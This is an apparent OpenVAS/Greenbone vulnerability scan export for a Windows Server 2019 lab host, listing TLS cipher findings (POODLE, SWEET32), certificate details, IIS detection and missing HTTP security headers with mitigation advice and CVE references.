		SSL/TLS: `preload` Missing in HSTS Header		admin		2022-07-26T19:03:18Z				2022-07-26T19:03:18Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		443/tcp		nvt		SSL/TLS: `preload` Missing in HSTS Header		SSL and TLS		0				2016-08-22T11:07:42Z		0		AV:N/AC:M/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:M/Au:N/C:N/I:N/A:N|summary=The remote web server is missing the 'preload' attribute in the HSTS header.|insight=|affected=|impact=|solution=Submit the domain to the 'HSTS preload list' and add the 'preload' attribute to the HSTS header.|vuldetect=|solution_type=Workaround		Workaround		Submit the domain to the 'HSTS preload list' and add the 'preload' attribute to the HSTS header.		1.3.6.1.4.1.25623.1.0.105878		2021-01-26T13:20:44Z		Log		0		80				The remote web server is missing the "preload" attribute in the HSTS header.



HSTS Header:



Strict-Transport-Security: max-age=21000; includeSubDomains		Log		0		5c4de93b-7965-4787-b6f6-2f9f5d9a261a		url		https://owasp.org/www-project-secure-headers/		url		https://owasp.org/www-project-cheat-sheets/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html		url		https://owasp.org/www-project-secure-headers/#http-strict-transport-security-hsts		url		https://tools.ietf.org/html/rfc6797		url		https://hstspreload.appspot.com/		url		https://securityheaders.io/

		SSL/TLS: Collect and Report Certificate Details		admin		2022-07-26T17:27:20Z				2022-07-26T17:27:20Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		443/tcp		nvt		SSL/TLS: Collect and Report Certificate Details		SSL and TLS		0				2013-04-09T12:14:14Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=This script collects and reports the details of all SSL/TLS

  certificates.



  This data will be used by other tests to verify server certificates.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.103692		2021-12-10T12:48:00Z		Log		0		98				The following certificate details of the remote service were collected.



Certificate details:

fingerprint (SHA-1)             | EE36DA763B9CF884C52BD1535F2B0D355EB48798

fingerprint (SHA-256)           | 312D81B8EF24F5A29285C30A155948794DABACD258B77E5E9211DE70D8556299

issued by                       | CN=DC-WIN-SERV-19-DC-CA,DC=DC,DC=local

public key algorithm            | RSA

public key size (bits)          | 2048

serial                          | 66000000028DF13970CE9BBC1D000000000002

signature algorithm             | sha256WithRSAEncryption

subject                         | CN=Win-Serv-19-DC.DC.local

subject alternative names (SAN) | Win-Serv-19-DC.DC.local

valid from                      | 2022-05-17 11:49:19 UTC

valid until                     | 2023-05-17 11:49:19 UTC		Log		0		f44b2c76-0156-42c0-bdfb-cf474d6909aa

		Microsoft Internet Information Services (IIS) Detection (HTTP)		admin		2022-07-26T18:57:21Z				2022-07-26T18:57:21Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		443/tcp		nvt		Microsoft Internet Information Services (IIS) Detection (HTTP)		Product detection		0				2009-05-20T08:26:22Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=HTTP based detection of Microsoft Internet Information Services (IIS).|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.900710		2021-09-01T14:04:04Z		Log		0		80				Detected Microsoft Internet Information Services (IIS)



Version:       10.0

Location:      443/tcp

CPE:           cpe:/a:microsoft:internet_information_services:10.0



Concluded from version/product identification result:

Server: Microsoft-IIS/10.0		Log		0		d667d4dd-4e49-4cbf-9311-516b231baa73

		SSL/TLS: SSLv3 Protocol CBC Cipher Suites Information Disclosure Vulnerability (POODLE)		admin		2022-07-26T19:03:18Z				2022-07-26T19:03:18Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		443/tcp		nvt		SSL/TLS: SSLv3 Protocol CBC Cipher Suites Information Disclosure Vulnerability (POODLE)		SSL and TLS		3.4		NVD		2021-06-16T12:15:00Z		3.4		CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N		cvss_base_v3		3.4		cvss_base_vector=CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N|summary=This host is prone to an information disclosure vulnerability.|insight=The flaw is due to the block cipher padding not being deterministic and not covered by the Message Authentication Code|affected=|impact=Successful exploitation will allow a  man-in-the-middle attackers gain access to the plain text data stream.|solution=Possible Mitigations are:



  - Disable SSLv3



  - Disable cipher suites supporting CBC cipher modes



  - Enable TLS_FALLBACK_SCSV if the service is providing TLSv1.0+|vuldetect=Evaluate previous collected information about this service.|solution_type=Mitigation		Mitigation		Possible Mitigations are:



  - Disable SSLv3



  - Disable cipher suites supporting CBC cipher modes



  - Enable TLS_FALLBACK_SCSV if the service is providing TLSv1.0+		1.3.6.1.4.1.25623.1.0.802087		2022-04-14T11:24:11Z		Low		3.4		80						Low		3.4		9a5e3326-2773-4a66-8248-2b9b06d8e886		cve		CVE-2014-3566		url		https://www.openssl.org/~bodo/ssl-poodle.pdf		url		http://www.securityfocus.com/bid/70574		url		https://www.imperialviolet.org/2014/10/14/poodle.html		url		https://www.dfranke.us/posts/2014-10-14-how-poodle-happened.html		url		http://googleonlinesecurity.blogspot.in/2014/10/this-poodle-bites-exploiting-ssl-30.html		cert-bund		CB-K17/1198		cert-bund		CB-K17/1196		cert-bund		CB-K16/1828		cert-bund		CB-K16/1438		cert-bund		CB-K16/1384		cert-bund		CB-K16/1102		cert-bund		CB-K16/0599		cert-bund		CB-K16/0156		cert-bund		CB-K15/1514		cert-bund		CB-K15/1358		cert-bund		CB-K15/1021		cert-bund		CB-K15/0972		cert-bund		CB-K15/0637		cert-bund		CB-K15/0590		cert-bund		CB-K15/0525		cert-bund		CB-K15/0393		cert-bund		CB-K15/0384		cert-bund		CB-K15/0287		cert-bund		CB-K15/0252		cert-bund		CB-K15/0246		cert-bund		CB-K15/0237		cert-bund		CB-K15/0118		cert-bund		CB-K15/0110		cert-bund		CB-K15/0108		cert-bund		CB-K15/0080		cert-bund		CB-K15/0078		cert-bund		CB-K15/0077		cert-bund		CB-K15/0075		cert-bund		CB-K14/1617		cert-bund		CB-K14/1581		cert-bund		CB-K14/1537		cert-bund		CB-K14/1479		cert-bund		CB-K14/1458		cert-bund		CB-K14/1342		cert-bund		CB-K14/1314		cert-bund		CB-K14/1313		cert-bund		CB-K14/1311		cert-bund		CB-K14/1304		cert-bund		CB-K14/1296		dfn-cert		DFN-CERT-2017-1238		dfn-cert		DFN-CERT-2017-1236		dfn-cert		DFN-CERT-2016-1929		dfn-cert		DFN-CERT-2016-1527		dfn-cert		DFN-CERT-2016-1468		dfn-cert		DFN-CERT-2016-1168		dfn-cert		DFN-CERT-2016-0884		dfn-cert		DFN-CERT-2016-0642		dfn-cert		DFN-CERT-2016-0388		dfn-cert		DFN-CERT-2016-0171		dfn-cert		DFN-CERT-2015-1431		dfn-cert		DFN-CERT-2015-1075		dfn-cert		DFN-CERT-2015-1026		dfn-cert		DFN-CERT-2015-0664		dfn-cert		DFN-CERT-2015-0548		dfn-cert		DFN-CERT-2015-0404		dfn-cert		DFN-CERT-2015-0396		dfn-cert		DFN-CERT-2015-0259		dfn-cert		DFN-CERT-2015-0254		dfn-cert		DFN-CERT-2015-0245		dfn-cert		DFN-CERT-2015-0118		dfn-cert		DFN-CERT-2015-0114		dfn-cert		DFN-CERT-2015-0083		dfn-cert		DFN-CERT-2015-0082		dfn-cert		DFN-CERT-2015-0081		dfn-cert		DFN-CERT-2015-0076		dfn-cert		DFN-CERT-2014-1717		dfn-cert		DFN-CERT-2014-1680		dfn-cert		DFN-CERT-2014-1632		dfn-cert		DFN-CERT-2014-1564		dfn-cert		DFN-CERT-2014-1542		dfn-cert		DFN-CERT-2014-1414		dfn-cert		DFN-CERT-2014-1366		dfn-cert		DFN-CERT-2014-1354

		SSL/TLS: Report Medium Cipher Suites		admin		2022-07-26T19:03:18Z				2022-07-26T19:03:18Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		443/tcp		nvt		SSL/TLS: Report Medium Cipher Suites		SSL and TLS		0				2012-03-07T08:44:14Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=This routine reports all Medium SSL/TLS cipher suites accepted

  by a service.|insight=Any cipher suite considered to be secure for only the next 10

  years is considered as medium.|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.902816		2021-12-01T13:10:37Z		Log		0		98				'Medium' cipher suites accepted by this service via the SSLv3 protocol:



TLS_RSA_WITH_3DES_EDE_CBC_SHA



'Medium' cipher suites accepted by this service via the TLSv1.0 protocol:



TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

TLS_RSA_WITH_3DES_EDE_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA

TLS_RSA_WITH_AES_256_CBC_SHA



'Medium' cipher suites accepted by this service via the TLSv1.1 protocol:



TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

TLS_RSA_WITH_3DES_EDE_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA

TLS_RSA_WITH_AES_256_CBC_SHA



'Medium' cipher suites accepted by this service via the TLSv1.2 protocol:



TLS_DHE_RSA_WITH_AES_128_GCM_SHA256

TLS_DHE_RSA_WITH_AES_256_GCM_SHA384

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256

TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384

TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

TLS_RSA_WITH_3DES_EDE_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA256

TLS_RSA_WITH_AES_128_GCM_SHA256

TLS_RSA_WITH_AES_256_CBC_SHA

TLS_RSA_WITH_AES_256_CBC_SHA256

TLS_RSA_WITH_AES_256_GCM_SHA384		Log		0		a7ac9395-f270-4332-b9b2-1ec828692900

		SSL/TLS: Report Supported Cipher Suites		admin		2022-07-26T19:03:18Z				2022-07-26T19:03:18Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		443/tcp		nvt		SSL/TLS: Report Supported Cipher Suites		SSL and TLS		0				2014-03-06T11:50:28Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=This routine reports all SSL/TLS cipher suites accepted by a

  service.



  As the VT 'SSL/TLS: Check Supported Cipher Suites' (OID: 1.3.6.1.4.1.25623.1.0.900234) might run

  into a timeout the actual reporting of all accepted cipher suites takes place in this VT instead.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.802067		2022-02-18T09:01:14Z		Log		0		98				No 'Strong' cipher suites accepted by this service via the SSLv3 protocol.



'Medium' cipher suites accepted by this service via the SSLv3 protocol:



TLS_RSA_WITH_3DES_EDE_CBC_SHA



No 'Weak' cipher suites accepted by this service via the SSLv3 protocol.



No 'Null' cipher suites accepted by this service via the SSLv3 protocol.



No 'Anonymous' cipher suites accepted by this service via the SSLv3 protocol.



No 'Strong' cipher suites accepted by this service via the TLSv1.0 protocol.



'Medium' cipher suites accepted by this service via the TLSv1.0 protocol:



TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

TLS_RSA_WITH_3DES_EDE_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA

TLS_RSA_WITH_AES_256_CBC_SHA



No 'Weak' cipher suites accepted by this service via the TLSv1.0 protocol.



No 'Null' cipher suites accepted by this service via the TLSv1.0 protocol.



No 'Anonymous' cipher suites accepted by this service via the TLSv1.0 protocol.



No 'Strong' cipher suites accepted by this service via the TLSv1.1 protocol.



'Medium' cipher suites accepted by this service via the TLSv1.1 protocol:



TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

TLS_RSA_WITH_3DES_EDE_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA

TLS_RSA_WITH_AES_256_CBC_SHA



No 'Weak' cipher suites accepted by this service via the TLSv1.1 protocol.



No 'Null' cipher suites accepted by this service via the TLSv1.1 protocol.



No 'Anonymous' cipher suites accepted by this service via the TLSv1.1 protocol.



No 'Strong' cipher suites accepted by this service via the TLSv1.2 protocol.



'Medium' cipher suites accepted by this service via the TLSv1.2 protocol:



TLS_DHE_RSA_WITH_AES_128_GCM_SHA256

TLS_DHE_RSA_WITH_AES_256_GCM_SHA384

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256

TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384

TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

TLS_RSA_WITH_3DES_EDE_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA256

TLS_RSA_WITH_AES_128_GCM_SHA256

TLS_RSA_WITH_AES_256_CBC_SHA

TLS_RSA_WITH_AES_256_CBC_SHA256

TLS_RSA_WITH_AES_256_GCM_SHA384



No 'Weak' cipher suites accepted by this service via the TLSv1.2 protocol.



No 'Null' cipher suites accepted by this service via the TLSv1.2 protocol.



No 'Anonymous' cipher suites accepted by this service via the TLSv1.2 protocol.		Log		0		e5909529-d90e-45a7-9fb3-46b777579dac

		SSL/TLS: Report Vulnerable Cipher Suites for HTTPS		admin		2022-07-26T19:03:18Z				2022-07-26T19:03:18Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		443/tcp		nvt		SSL/TLS: Report Vulnerable Cipher Suites for HTTPS		SSL and TLS		7.5		NVD		2021-01-06T16:11:00Z		7.5		CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N		cvss_base_v3		7.5		cvss_base_vector=CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N|summary=This routine reports all SSL/TLS cipher suites accepted by a service

  where attack vectors exists only on HTTPS services.|insight=These rules are applied for the evaluation of the vulnerable cipher suites:



  - 64-bit block cipher 3DES vulnerable to the SWEET32 attack (CVE-2016-2183).|affected=Services accepting vulnerable SSL/TLS cipher suites via HTTPS.|impact=|solution=The configuration of this services should be changed so

  that it does not accept the listed cipher suites anymore.



  Please see the references for more resources supporting you with this task.|vuldetect=|solution_type=Mitigation		Mitigation		The configuration of this services should be changed so

  that it does not accept the listed cipher suites anymore.



  Please see the references for more resources supporting you with this task.		1.3.6.1.4.1.25623.1.0.108031		2021-09-20T09:01:50Z		High		7.5		98				'Vulnerable' cipher suites accepted by this service via the SSLv3 protocol:



TLS_RSA_WITH_3DES_EDE_CBC_SHA (SWEET32)



'Vulnerable' cipher suites accepted by this service via the TLSv1.0 protocol:



TLS_RSA_WITH_3DES_EDE_CBC_SHA (SWEET32)



'Vulnerable' cipher suites accepted by this service via the TLSv1.1 protocol:



TLS_RSA_WITH_3DES_EDE_CBC_SHA (SWEET32)



'Vulnerable' cipher suites accepted by this service via the TLSv1.2 protocol:



TLS_RSA_WITH_3DES_EDE_CBC_SHA (SWEET32)		High		7.5		f6337ff0-0fb6-46bf-9b9b-15e425dd423c		cve		CVE-2016-2183		cve		CVE-2016-6329		cve		CVE-2020-12872		url		https://bettercrypto.org/		url		https://mozilla.github.io/server-side-tls/ssl-config-generator/		url		https://sweet32.info/		cert-bund		CB-K21/1094		cert-bund		CB-K20/1023		cert-bund		CB-K20/0321		cert-bund		CB-K20/0314		cert-bund		CB-K20/0157		cert-bund		CB-K19/0618		cert-bund		CB-K19/0615		cert-bund		CB-K18/0296		cert-bund		CB-K17/1980		cert-bund		CB-K17/1871		cert-bund		CB-K17/1803		cert-bund		CB-K17/1753		cert-bund		CB-K17/1750		cert-bund		CB-K17/1709		cert-bund		CB-K17/1558		cert-bund		CB-K17/1273		cert-bund		CB-K17/1202		cert-bund		CB-K17/1196		cert-bund		CB-K17/1055		cert-bund		CB-K17/1026		cert-bund		CB-K17/0939		cert-bund		CB-K17/0917		cert-bund		CB-K17/0915		cert-bund		CB-K17/0877		cert-bund		CB-K17/0796		cert-bund		CB-K17/0724		cert-bund		CB-K17/0661		cert-bund		CB-K17/0657		cert-bund		CB-K17/0582		cert-bund		CB-K17/0581		cert-bund		CB-K17/0506		cert-bund		CB-K17/0504		cert-bund		CB-K17/0467		cert-bund		CB-K17/0345		cert-bund		CB-K17/0098		cert-bund		CB-K17/0089		cert-bund		CB-K17/0086		cert-bund		CB-K17/0082		cert-bund		CB-K16/1837		cert-bund		CB-K16/1830		cert-bund		CB-K16/1635		cert-bund		CB-K16/1630		cert-bund		CB-K16/1624		cert-bund		CB-K16/1622		cert-bund		CB-K16/1500		cert-bund		CB-K16/1465		cert-bund		CB-K16/1307		cert-bund		CB-K16/1296		dfn-cert		DFN-CERT-2021-1618		dfn-cert		DFN-CERT-2021-0775		dfn-cert		DFN-CERT-2021-0770		dfn-cert		DFN-CERT-2021-0274		dfn-cert		DFN-CERT-2020-2141		dfn-cert		DFN-CERT-2020-0368		dfn-cert		DFN-CERT-2019-1455		dfn-cert		DFN-CERT-2019-0068		dfn-cert		DFN-CERT-2018-1296		dfn-cert		DFN-CERT-2018-0323		dfn-cert		DFN-CERT-2017-2070		dfn-cert		DFN-CERT-2017-1954		dfn-cert		DFN-CERT-2017-1885		dfn-cert		DFN-CERT-2017-1831		dfn-cert		DFN-CERT-2017-1821		dfn-cert		DFN-CERT-2017-1785		dfn-cert		DFN-CERT-2017-1626		dfn-cert		DFN-CERT-2017-1326		dfn-cert		DFN-CERT-2017-1239		dfn-cert		DFN-CERT-2017-1238		dfn-cert		DFN-CERT-2017-1090		dfn-cert		DFN-CERT-2017-1060		dfn-cert		DFN-CERT-2017-0968		dfn-cert		DFN-CERT-2017-0947		dfn-cert		DFN-CERT-2017-0946		dfn-cert		DFN-CERT-2017-0904		dfn-cert		DFN-CERT-2017-0816		dfn-cert		DFN-CERT-2017-0746		dfn-cert		DFN-CERT-2017-0677		dfn-cert		DFN-CERT-2017-0675		dfn-cert		DFN-CERT-2017-0611		dfn-cert		DFN-CERT-2017-0609		dfn-cert		DFN-CERT-2017-0522		dfn-cert		DFN-CERT-2017-0519		dfn-cert		DFN-CERT-2017-0482		dfn-cert		DFN-CERT-2017-0351		dfn-cert		DFN-CERT-2017-0090		dfn-cert		DFN-CERT-2017-0089		dfn-cert		DFN-CERT-2017-0088		dfn-cert		DFN-CERT-2017-0086		dfn-cert		DFN-CERT-2016-1943		dfn-cert		DFN-CERT-2016-1937		dfn-cert		DFN-CERT-2016-1732		dfn-cert		DFN-CERT-2016-1726		dfn-cert		DFN-CERT-2016-1715		dfn-cert		DFN-CERT-2016-1714		dfn-cert		DFN-CERT-2016-1588		dfn-cert		DFN-CERT-2016-1555		dfn-cert		DFN-CERT-2016-1391		dfn-cert		DFN-CERT-2016-1378

		SSL/TLS: Safe/Secure Renegotiation Support Status		admin		2022-07-26T19:03:18Z				2022-07-26T19:03:18Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		443/tcp		nvt		SSL/TLS: Safe/Secure Renegotiation Support Status		SSL and TLS		0				2021-10-27T11:26:49Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=Checks and reports if a remote SSL/TLS service supports

  safe/secure renegotiation.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.117757		2021-11-12T09:42:39Z		Log		0		98				Protocol Version | Safe/Secure Renegotiation Support Status

---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

SSLv3            | Unknown, Reason: Scanner failed to negotiate an SSL/TLS connection (Either the scanner or the remote host is probably not supporting / accepting this SSL/TLS protocol version).

TLSv1.0          | Enabled, Note: While the remote service announces the support of safe/secure renegotiation it still might not support / accept renegotiation at all.

TLSv1.1          | Enabled, Note: While the remote service announces the support of safe/secure renegotiation it still might not support / accept renegotiation at all.

TLSv1.2          | Enabled, Note: While the remote service announces the support of safe/secure renegotiation it still might not support / accept renegotiation at all.

TLSv1.3          | Unknown, Reason: Scanner failed to negotiate an SSL/TLS connection (Either the scanner or the remote host is probably not supporting / accepting this SSL/TLS protocol version).		Log		0		d7614edb-67f2-458d-8e79-78d96e251923		url		https://www.gnutls.org/manual/html_node/Safe-renegotiation.html		url		https://wiki.openssl.org/index.php/TLS1.3#Renegotiation		url		https://datatracker.ietf.org/doc/html/rfc5746

		SSL/TLS: NPN / ALPN Extension and Protocol Support Detection		admin		2022-07-26T19:03:18Z				2022-07-26T19:03:18Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		443/tcp		nvt		SSL/TLS: NPN / ALPN Extension and Protocol Support Detection		SSL and TLS		0				2017-03-15T10:00:00Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=This routine identifies services supporting the following extensions to TLS:



  - Application-Layer Protocol Negotiation (ALPN)



  - Next Protocol Negotiation (NPN).



  Based on the availability of this extensions the supported Network Protocols by this service are gathered and reported.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.108099		2021-02-12T06:42:15Z		Log		0		80				The remote service advertises support for the following Network Protocol(s) via the ALPN extension:



SSL/TLS Protocol:Network Protocol

TLSv1.0:HTTP/1.1

TLSv1.1:HTTP/1.1

TLSv1.2:HTTP/1.1

TLSv1.2:HTTP/2		Log		0		462e2f03-3749-4d77-a560-e2e8333588a2		url		https://tools.ietf.org/html/rfc7301		url		https://tools.ietf.org/html/draft-agl-tls-nextprotoneg-04

		SSL/TLS: Untrusted Certificate Detection		admin		2022-07-26T19:03:18Z				2022-07-26T19:03:18Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		443/tcp		nvt		SSL/TLS: Untrusted Certificate Detection		SSL and TLS		0				2021-11-09T10:22:58Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=Checks and reports if a remote SSL/TLS service is using a

  certificate which is untrusted / the verification against the system wide trust store has failed.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.117764		2021-11-12T09:42:39Z		Log		0		98				The remote SSL/TLS server is using the following certificate(s) which failed the verification against the system wide trust store (serial:issuer):



66000000028DF13970CE9BBC1D000000000002:CN=DC-WIN-SERV-19-DC-CA,DC=DC,DC=local (Server certificate)		Log		0		53b38724-c90d-4163-bae6-a11890b1a30f

		HTTP Security Headers Detection		admin		2022-07-26T20:53:48Z				2022-07-26T20:53:48Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		443/tcp		nvt		HTTP Security Headers Detection		Web application abuses		0				2017-10-13T11:12:41Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=All known security headers are being checked on the remote web

  server.



  On completion a report will hand back whether a specific security header has been implemented

  (including its value and if it is deprecated) or is missing on the target.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.112081		2021-07-14T06:19:43Z		Log		0		80				Header Name               | Header Value

------------------------------------------------------------

Strict-Transport-Security | max-age=21000; includeSubDomains



Missing Headers                   | More Information

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Content-Security-Policy           | https://owasp.org/www-project-secure-headers/#content-security-policy

Cross-Origin-Embedder-Policy      | https://scotthelme.co.uk/coop-and-coep/, Note: This is an upcoming header

Cross-Origin-Opener-Policy        | https://scotthelme.co.uk/coop-and-coep/, Note: This is an upcoming header

Cross-Origin-Resource-Policy      | https://scotthelme.co.uk/coop-and-coep/, Note: This is an upcoming header

Document-Policy                   | https://w3c.github.io/webappsec-feature-policy/document-policy#document-policy-http-header

Expect-CT                         | https://owasp.org/www-project-secure-headers/#expect-ct, Note: This is an upcoming header

Feature-Policy                    | https://owasp.org/www-project-secure-headers/#feature-policy, Note: The Feature Policy header has been renamed to Permissions Policy

Permissions-Policy                | https://w3c.github.io/webappsec-feature-policy/#permissions-policy-http-header-field

Public-Key-Pins                   | Please check the output of the VTs including 'SSL/TLS:' and 'HPKP' in their name for more information and configuration help. Note: Most major browsers have dropped / deprecated support for this header in 2020.

Referrer-Policy                   | https://owasp.org/www-project-secure-headers/#referrer-policy

Sec-Fetch-Dest                    | https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#fetch_metadata_request_headers, Note: This is a new header supported only in newer browsers like e.g. Firefox 90

Sec-Fetch-Mode                    | https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#fetch_metadata_request_headers, Note: This is a new header supported only in newer browsers like e.g. Firefox 90

Sec-Fetch-Site                    | https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#fetch_metadata_request_headers, Note: This is a new header supported only in newer browsers like e.g. Firefox 90

Sec-Fetch-User                    | https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#fetch_metadata_request_headers, Note: This is a new header supported only in newer browsers like e.g. Firefox 90

X-Content-Type-Options            | https://owasp.org/www-project-secure-headers/#x-content-type-options

X-Frame-Options                   | https://owasp.org/www-project-secure-headers/#x-frame-options

X-Permitted-Cross-Domain-Policies | https://owasp.org/www-project-secure-headers/#x-permitted-cross-domain-policies

X-XSS-Protection                  | https://owasp.org/www-project-secure-headers/#x-xss-protection, Note: Most major browsers have dropped / deprecated support for this header in 2020.		Log		0		f912e45e-d0c6-4fe3-8fb7-bc48d1373a09		url		https://owasp.org/www-project-secure-headers/		url		https://owasp.org/www-project-secure-headers/#div-headers		url		https://securityheaders.com/

		CGI Scanning Consolidation		admin		2022-07-26T20:09:04Z				2022-07-26T20:09:04Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		443/tcp		nvt		CGI Scanning Consolidation		Web application abuses		0				2015-09-14T05:00:00Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=The script consolidates various information for CGI scanning.



  This information is based on the following scripts / settings:



  - HTTP-Version Detection (OID: 1.3.6.1.4.1.25623.1.0.100034)



  - No 404 check (OID: 1.3.6.1.4.1.25623.1.0.10386)



  - Web mirroring / webmirror.nasl (OID: 1.3.6.1.4.1.25623.1.0.10662)



  - Directory Scanner / DDI_Directory_Scanner.nasl (OID: 1.3.6.1.4.1.25623.1.0.11032)



  - The configured 'cgi_path' within the 'Scanner Preferences' of the scan config in use



  - The configured 'Enable CGI scanning', 'Enable generic web application scanning' and

    'Add historic /scripts and /cgi-bin to directories for CGI scanning' within the

    'Global variable settings' of the scan config in use



